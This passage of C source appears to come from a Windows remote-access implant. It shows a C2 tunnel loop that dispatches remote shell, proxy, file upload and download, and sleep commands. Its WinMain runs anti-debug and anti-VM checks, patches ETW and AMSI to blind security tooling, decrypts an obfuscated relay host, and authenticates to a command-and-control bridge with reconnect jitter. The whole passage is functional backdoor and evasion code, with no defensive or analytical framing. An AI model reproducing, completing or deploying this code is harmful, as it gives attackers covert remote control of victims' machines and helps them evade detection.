    if (hFile == INVALID_HANDLE_VALUE) { send_cmd(CMD_UPLOAD_ERR, sid, NULL, 0); return; }
    uc->sid = sid; uc->hFile = hFile; uc->active = 1;
    send_cmd(CMD_UPLOAD_OK, sid, NULL, 0);
}

static void handle_upload_data(uint32_t sid, uint8_t *data, int dlen) {
    int i;
    for (i = 0; i < MAX_UPLOADS; i++) {
        if (g_uploads[i].active && g_uploads[i].sid == sid) {
            DWORD written;
            WriteFile(g_uploads[i].hFile, data, dlen, &written, NULL);
            return;
        }
    }
}

static void handle_upload_end(uint32_t sid) {
    int i;
    for (i = 0; i < MAX_UPLOADS; i++) {
        if (g_uploads[i].active && g_uploads[i].sid == sid) {
            CloseHandle(g_uploads[i].hFile);
            g_uploads[i].active = 0; g_uploads[i].hFile = NULL;
            send_cmd(CMD_UPLOAD_OK, sid, NULL, 0);
            return;
        }
    }
}

/* =========================================================================
 * SECTION J: Tunnel polling loop with adaptive delay
 * ========================================================================= */
static void tunnel_loop(void) {
    uint8_t *buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, BUF_SIZE);
    if (!buf) return;
    DWORD poll_delay = POLL_BASE_MS;
    int i;

    while (1) {
        int n = tunnel_recv(buf, BUF_SIZE);

        if (n < 0) {
            /* Connection error — exit loop to reconnect */
            break;
        }

        if (n == 0) {
            /* No data: back off adaptively */
            Sleep(poll_delay);
            if (poll_delay < POLL_MAX_MS)
                poll_delay += POLL_BACKOFF_MS;
            continue;
        }

        /* Got data: reset delay */
        poll_delay = POLL_BASE_MS;

        /* Parse: [len:4][cmd:1][sid:4][data...] — may contain multiple messages */
        int offset = 0;
        while (offset + 4 <= n) {
            uint32_t msg_len = ((uint32_t)buf[offset]<<24) | ((uint32_t)buf[offset+1]<<16) |
                               ((uint32_t)buf[offset+2]<<8) | (uint32_t)buf[offset+3];
            offset += 4;

            if ((int)msg_len < 5 || offset + (int)msg_len > n)
                break;

            uint8_t *payload = buf + offset;
            uint8_t cmd = payload[0];
            uint32_t sid = ((uint32_t)payload[1]<<24) | ((uint32_t)payload[2]<<16) |
                           ((uint32_t)payload[3]<<8) | (uint32_t)payload[4];
            int dlen = (int)msg_len - 5;

            switch (cmd) {
                case CMD_CONNECT:
                    if (dlen > 0 && dlen < 512) {
                        ConnectArgs *ca = (ConnectArgs*)HeapAlloc(GetProcessHeap(), 0, sizeof(ConnectArgs));
                        if (ca) {
                            ca->sid = sid; ca->dlen = dlen;
                            memcpy(ca->data, payload + 5, dlen);
                            CreateThread(NULL, 0, handle_connect_thread, ca, 0, NULL);
                        } else send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
                    } else send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
                    break;

                case CMD_DATA:
                    for (i = 0; i < MAX_STREAMS; i++) {
                        if (streams[i].active && streams[i].id == sid) {
                            sendall_sock(streams[i].sock, (char*)(payload+5), dlen);
                            break;
                        }
                    }
                    break;

                case CMD_CLOSE:
                    for (i = 0; i < MAX_STREAMS; i++) {
                        if (streams[i].active && streams[i].id == sid) {
                            closesocket(streams[i].sock);
                            streams[i].active = 0;
                            break;
                        }
                    }
                    break;

                case CMD_HEARTBEAT:
                    send_cmd(CMD_HEARTBEAT, 0, NULL, 0);
                    break;

                case CMD_SLEEP:
                    if (dlen >= 4) {
                        g_sleep_seconds = ((uint32_t)payload[5]<<24) | ((uint32_t)payload[6]<<16) |
                                          ((uint32_t)payload[7]<<8) | (uint32_t)payload[8];
                        HeapFree(GetProcessHeap(), 0, buf);
                        return;
                    }
                    break;

                case CMD_SHELL_OPEN:  handle_shell_open(sid); break;
                case CMD_SHELL_DATA:  handle_shell_data(sid, payload + 5, dlen); break;
                case CMD_SHELL_CLOSE: handle_shell_close(sid); break;

                case CMD_DOWNLOAD:
                    if (dlen > 0 && dlen < 512) {
                        ConnectArgs *ca = (ConnectArgs*)HeapAlloc(GetProcessHeap(), 0, sizeof(ConnectArgs));
                        if (ca) {
                            ca->sid = sid; ca->dlen = dlen;
                            memcpy(ca->data, payload + 5, dlen);
                            CreateThread(NULL, 0, handle_download_thread, ca, 0, NULL);
                        } else send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
                    } else send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
                    break;

                case CMD_UPLOAD:      handle_upload_start(sid, payload + 5, dlen); break;
                case CMD_UPLOAD_DATA: handle_upload_data(sid, payload + 5, dlen); break;
                case CMD_UPLOAD_END:  handle_upload_end(sid); break;
            }

            offset += (int)msg_len;
        }
    }
    HeapFree(GetProcessHeap(), 0, buf);
}

/* =========================================================================
 * SECTION K: WinMain
 * ========================================================================= */
int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int show) {
    WSADATA wsa;
    int i;

    WSAStartup(MAKEWORD(2, 2), &wsa);
    InitializeCriticalSection(&g_lock);
    memset(streams, 0, sizeof(streams));
    memset(g_shells, 0, sizeof(g_shells));
    memset(g_uploads, 0, sizeof(g_uploads));

    /* Anti-debug */
    if (check_debugger()) { WSACleanup(); ExitProcess(0); return 0; }

    /* Anti-VM */
    if (check_vm()) { Sleep(60000); WSACleanup(); ExitProcess(0); return 0; }

    /* ETW + AMSI bypass */
    patch_etw();
    patch_amsi();

    /* Decrypt CF host */
    decrypt_str(enc_cf_host, ENC_CF_HOST_LEN, g_cf_host);

    /* Decrypt secret for auth */
    char secret[ENC_SECRET_LEN + 1];
    decrypt_str(enc_secret, ENC_SECRET_LEN, secret);

    while (1) {
        if (g_sleep_seconds > 0) {
            DWORD ms = g_sleep_seconds * 1000;
            g_sleep_seconds = 0;
            Sleep(ms);
        }

        /* Generate unique session ID for this connection attempt */
        gen_session_id();

        /* Register with bridge: POST 64 bytes = session_id(32) + SHA256_proof(32) */
        uint8_t auth_msg[68], auth_hash[32], reg[64];
        memcpy(auth_msg, "REG:", 4);
        memcpy(auth_msg + 4, g_session_id, 32);
        memcpy(auth_msg + 36, secret, ENC_SECRET_LEN);
        /* Pad secret to 32 bytes if shorter */
        if (ENC_SECRET_LEN < 32)
            memset(auth_msg + 36 + ENC_SECRET_LEN, 0, 32 - ENC_SECRET_LEN);
        sha256_hash(auth_msg, 68, auth_hash);
        memcpy(reg, g_session_id, 32);
        memcpy(reg + 32, auth_hash, 32);

        if (http_post(reg, 64, NULL, 0) < 0) {
            Sleep(RECONNECT_DELAY);
            continue;
        }

        /* Get 32-byte challenge from SOCKS server (via bridge GET) */
        uint8_t challenge[32];
        int r = tunnel_recv(challenge, 32);
        if (r != 32) { Sleep(RECONNECT_DELAY); continue; }

        /* Send SHA256(secret + challenge) response */
        uint8_t resp_buf[64], response[32];
        memcpy(resp_buf, secret, ENC_SECRET_LEN);
        if (ENC_SECRET_LEN < 32) memset(resp_buf + ENC_SECRET_LEN, 0, 32 - ENC_SECRET_LEN);
        memcpy(resp_buf + 32, challenge, 32);
        sha256_hash(resp_buf, 64, response);
        if (tunnel_send(response, 32) < 0) { Sleep(RECONNECT_DELAY); continue; }

        /* Send CC20 marker (TLS from CF provides encryption) */
        if (tunnel_send((uint8_t*)"CC20", 4) < 0) { Sleep(RECONNECT_DELAY); continue; }

        /* Get CC20 confirmation */
        uint8_t confirm[4];
        r = tunnel_recv(confirm, 4);
        if (r != 4 || memcmp(confirm, "CC20", 4) != 0) { Sleep(RECONNECT_DELAY); continue; }

        /* Authenticated — enter polling loop */
        tunnel_loop();

        /* Cleanup */
        for (i = 0; i < MAX_STREAMS; i++) {
            if (streams[i].active) { closesocket(streams[i].sock); streams[i].active = 0; }
        }
        for (i = 0; i < MAX_SHELLS; i++) {
            if (g_shells[i].running || g_shells[i].hProcess) handle_shell_close(g_shells[i].sid);
        }
        for (i = 0; i < MAX_UPLOADS; i++) {
            if (g_uploads[i].active) { CloseHandle(g_uploads[i].hFile); g_uploads[i].active = 0; }
        }

        DWORD jitter = RECONNECT_DELAY + (GetTickCount() % RECONNECT_JITTER);
        Sleep(jitter);
    }

    memset(secret, 0, sizeof(secret));
    memset(g_cf_host, 0, sizeof(g_cf_host));
    WSACleanup();
    return 0;
}
